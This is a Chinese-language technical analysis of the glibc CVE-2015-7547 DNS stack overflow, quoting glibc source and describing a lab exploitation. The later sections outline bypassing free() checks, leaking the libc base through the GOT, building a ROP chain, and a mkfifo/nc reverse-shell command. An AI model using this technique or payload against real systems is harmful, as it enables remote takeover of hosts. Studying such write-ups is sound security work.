CVE-2015-7547的漏洞分析

前一阵glibc出现了一个栈溢出的漏洞，经研究发现，所有Debian、Red Hat以及更多其它Linux发行版，只要glibc版本大于2.9就会受到该溢出漏洞影响。攻击者可以通过该漏洞直接批量获取大量主机权限。本文对CVE-2015-7547漏洞做了细致的分析，供大家学习交流。

在分析之前，先了解一下glibc是什么？

glibc是GNU发布的libc库，即c运行库。
glibc是linux系统中最底层的api，几乎其它任何运行库都会依赖于glibc。glibc除了封装linux操作系统所提供的系统服务外，它本身也提供了许多其它一些必要功能服务的实现。

测试环境 Ubuntu Kylin 15.04 + glibc 2.21

1、漏洞分析

1.1 涉及的库函数

Getaddrinfo函数解析URL时，库函数调用过程如下图所示：

从上图可以看出，在_nss_dns_gethostbyname4_r函数中，使用alloca函数在栈上申请了2048字节的空间，在send_dg函数中，使用recvfrom函数接收DNS服务器的的响应包，并将该数据放在*thisansp指向的空间内。*thisansp刚开始指向上述的2048栈空间。

1.2 执行过程解析

下图是根据glibc分析得到的造成栈溢出的原因。

Step1
执行路径：①  ②  ⑥  ⑧ ;
输入：服务器发送2048字节的响应包； ansp = stackbuffer; anssizp = 2048
影响变量：thisanssizp = 2048; thisansp = ansp = stackbuffer; thisresplenp = 2048;
结果：thisresplenp = recvfrom(thisansp, *thisanssizp) ; // recvfrom(stackbuffer, 2048);

Step2
执行路径：①  ③  ④  ⑥  ⑦  ⑧;
输入：服务器发送10000字节的数据，ansp = stackbuffer; anssizp = 2048;
影响变量：thisanssizp = 0; *thisansp = stackbuffer; *thisresplenp = 10000
结果： heapbuffer = malloc(MAXPACKET); *anssizp = MAXPACKET; *thisansp = heapbuffer;
*thisresplenp = recvfrom(thisansp, *thisanssizp) ; // recvfrom(heapbuffer, MAXPACKET);

Step3
执行路径：①  ②  ⑥  ⑧ ;
输入：服务器发送>2048字节数据，ansp = stackbuffer, anssizp = MAXPACKET;
影响变量：thisanssizp = MAXPACKET, *thisansp = ansp = stackuffer;
结果： *thisresplenp = recvfrom(thisansp, *thisanssizp) ; // recvfrom(stackbuffer, MAXPACKET);
MAXPACKET = 65535 >2048 造成栈溢出。

1.3 源码解析

在_nss_dns_gethostbyname4_r函数中：
申请2048字节栈空间，用于存放DNS响应包。
host_buffer.buf = orig_host_buffer = (querfbuf *)alloca(2048);
在send_dg()函数中：
[1] 当条件是POLLIN时
thisanssizp = 2048, thisansp = stackbuffer, recvresp1 = 0, recvresp2 = 0, buf2 = 0
1224    } else if (pfd[0].revents & POLLIN) {
1225        int *thisanssizp;
1226        u_char **thisansp;
1227        int *thisresplenp;
1228
1229        if ((recvresp1 | recvresp2) == 0 || buf2 == NULL) {
1230            thisanssizp = anssizp;  /*thisanssizp = 2048*/
1231            thisansp = anscp ?: ansp; /*thisansp = stackbuffer*/
1232            assert (anscp != NULL || ansp2 == NULL);
1233            thisresplenp = &resplen;
                         
[2] 比较thisanssizp与MAXPACKET
thisanssizp = 2048, MAXPACKET = 65535, thisresplenp = 2048
1262        if (*thisanssizp < MAXPACKET
1263            /* Yes, we test ANSCP here.  If we have two buffers
1264               both will be allocatable.  */
1265            && anscp
1266            && (ioctl (pfd[0].fd, FIONREAD, thisresplenp) < 0
1267            || *thisanssizp < *thisresplenp)) {  /*条件不满足，所以不会执行malloc*/
1268            u_char *newp = malloc (MAXPACKET);
1269            if (newp != NULL) {
1270            *anssizp = MAXPACKET;
1271                *thisansp = ans = newp;
1272            }
1273        }
 [3] recvfrom接收第一次的数据
1282        *thisresplenp = recvfrom(pfd[0].fd, (char*)*thisansp,
1283                     *thisanssizp, 0,
1284                    (struct sockaddr *)&from, &fromlen); 
[4] 将第一次响应设置为1（成功），然后继续等待
1430        /* Mark which reply we received.  */
1431        if (recvresp1 == 0 && hp->id == anhp->id)
1432            recvresp1 = 1;

1436        if ((recvresp1 & recvresp2) == 0) {
1437            if (single_request) {
1438                pfd[0].events = POLLOUT;
1439                if (single_request_reopen) {
1440                    __res_iclose (statp, false);
1441                    retval = reopen (statp, terrno, ns);
1442                    if (retval <= 0)
1443                        return retval;
1444                    pfd[0].fd = EXT(statp).nssocks[ns];
1445                }
1446            }
1447            goto wait;
1448        }
[5] 第二次接收
接收了一次响应包之后，buf2不为空。
1229        if ((recvresp1 | recvresp2) == 0 || buf2 == NULL) { /*条件不成立*/
1230            thisanssizp = anssizp;  /*thisanssizp = 2048*/
1231            thisansp = anscp ?: ansp;
1232            assert (anscp != NULL || ansp2 == NULL);
1233            thisresplenp = &resplen;
1234        } else {
1235            if (*anssizp != MAXPACKET) {
1236                /* No buffer allocated for the first
1237                   reply.  We can try to use the rest
1238                   of the user-provided buffer.  */
1239 #ifdef _STRING_ARCH_unaligned
1240                *anssizp2 = orig_anssizp - resplen;
1241                *ansp2 = *ansp + resplen;

上述代码并没有申请新的空间，而是试图使用剩余的栈空间来存储第二次响应的数据包。
我们第一次已经使用2048字节的数据将栈空间占满了。
所以*anssizp2 = orig_anssizp - resplen = 0; *ansp2 = *ansp + 0;

[6] 然后使用buffer的计算结果对一些变量进行赋值。
1249            } else {
1250                /* The first reply did not fit into the
1251                   user-provided buffer.  Maybe the second
1252                   answer will.  */
1253                *anssizp2 = orig_anssizp;
1254                *ansp2 = *ansp;
1255            }
1256
1257            thisanssizp = anssizp2;
1258            thisansp = ansp2;
1259            thisresplenp = resplen2;

thisanssizp = anssizp2 = 0;  thisansp = ansp2 = ansp;
thisansp仍然指向2048栈空间的起始位置，但是thisanssizp = 0；
 [7] malloc申请堆空间，大小为65535
1262        if (*thisanssizp < MAXPACKET
1263            /* Yes, we test ANSCP here.  If we have two buffers
1264               both will be allocatable.  */
1265            && anscp
1266            && (ioctl (pfd[0].fd, FIONREAD, thisresplenp) < 0
1267            || *thisanssizp < *thisresplenp)) {
1268            u_char *newp = malloc (MAXPACKET);
1269            if (newp != NULL) {
1270                *anssizp = MAXPACKET;
1271                *thisansp = ans = newp;
1272            }
1273        }

新的响应包是10000字节；
thisansp指向新申请的堆空间；*anssizp = 65535；
在这里没有更改thisanssizp的值，这个值仍然是0；
没有更改ansp的值。

[8] 使用recvfrom接收新的数据包
1282        *thisresplenp = recvfrom(pfd[0].fd, (char*)*thisansp,
1283                     *thisanssizp, 0,
1284                    (struct sockaddr *)&from, &fromlen); 
thisanssizp = 0；接收0个字节。

[9]发生错误，退出send_dg()函数
__libc_res_nsend()会多次调用send_dg()，所以，再接收的数据包会继续第一次的路径。
Malloc申请空间的时候，只修改了anssizp的大小，并没有将*ansp修改为malloc的heapbuffer
所以，再接收的数据包就会发生栈溢出。

2、调试过程

在google给出的poc（该poc只能造成溢出，并不能利用）的基础上进行调试。
Google 的POC文件包括两部分：
[1] .c文件； 主要功能是使用getaddrinfo解析“foo.bar.google.com”。
[2] py文件； 主要功能是绑定53端口，模拟DNS服务器对getaddrinfo的请求进行响应。
将本机的DNS服务器设置为127.0.0.1，执行py文件，调试c文件。

2.1 栈空间布局图

该漏洞是在_nss_dns_gethostbyname4_r函数中使用alloca函数申请了2048字节的栈空间。所以，我们需要关注_nss_dns_gethostbyname4_r函数调用之初与调用过程中的栈空间变化，了解栈空间的内容以及可劫持的EIP。

从上面几个过程截图，可以大致画出_nss_dns_gethostbyname4_r函数的栈结构图

2.2 free指针处理

了解了_nss_dns_gethostbyname4_r的栈结构之后，首先对其进行溢出测试。
修改py文件中TCP发送的data2的数据长度。将数据长度设置为0x800 + 0x6C = 0x86C，将发送的数据修改为0

根据执行结果可知，在__libc_res_nquery的262行，对hp和hp2进行非零校验。并且可以知道hp或者hp2位于inner variables区域。通过对代码的跟踪与测试，确定了hp 和hp2分别位于0xBFFFE95C和0xBFFFE96C处。

所以，hp和hp2分别指向申请的栈空间和堆空间。

在_nss_dns_gethostbyname4_r中会检测是否在解析的过程中申请了新的堆空间，如果申请了，则会对该空间进行free。
这两处代码带来的问题是：
[1] 如果将hp和hp2设置为0， 则在__libc_res_nquery中会异常退出；
[2] hp和hp2的值是随机的，所以不能取调试过程的数据直接覆盖；
这里使用的方法是：
.c文件并没有开启PIE保护机制，即.c文件每次执行的基址是固定的。所以，取.c文件中的一个有效地址（0x080482ec）来替换hp和hp2的值，来跳过free的限制。

测试的结果是：

这一步我们并没有覆盖ph和ph2后面的内容，所以从该指针到返回地址（0xBFFFE9AC）中间的数据是否可以直接覆盖并不知道。在后面的EIP劫持和内存泄露部分将验证这些数据。

2.3 EIP劫持与内存泄露

由于ASLR的存在，要构造ROP链，需要首先获取一些可用的模块基址。
这里首先使用内存泄露的方法。
Getaddrinfo函数的第一个参数是一个指针，getaddrinfo函数在执行的时候，会将该指针指向的内容的字符串发送给服务器，请求服务器进行解析。所以，可以通过劫持EIP，将EIP指向.c文件中的call getaddrinfo指令，将got表中用于存放getaddrinfo地址的数据项作为参数。这样，在服务端发起getaddrinfo的时候，会将getaddrinfo函数的内存地址发送过来。
执行流程如下：

在客户端执行第二次getaddrinfo的时候，参数是got表中getaddrinfo函数地址存放的位置，这样就导致客户端将getaddrinfo函数地址发送到DNS Server端。
Getaddrinfo函数是libc.so.6库中的函数，然后减去偏移便可得到Client端libc.so.6的基址。之后就可以根据这个基址构造ROP链，也可以调用libc.so.6中的其他函数。

3. 漏洞利用

拿到基址之后，便可以根据基址构造ROP链，执行不同的功能。
这里实现了调用system函数，利用nc开一个后门，达到对目标主机完全控制的功能。
执行的具体代码：

 System(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f”);
 Exit(1);

这里使用的是nc作为例子，也可以使用其他的shell工具。
执行的效果：

上述实现了对该漏洞的完整利用过程。

最后的话

小编建议广大用户尽快给操作系统打补丁，并且提醒管理员在修补漏洞的同时，千万不要忘记查看服务器或网站是否已经被入侵，是否存在后门文件等，尽量将损失和风险控制在可控范围内。

如果您需要了解更多内容，可以
加入QQ群：486207500
直接询问：010-68438880-8669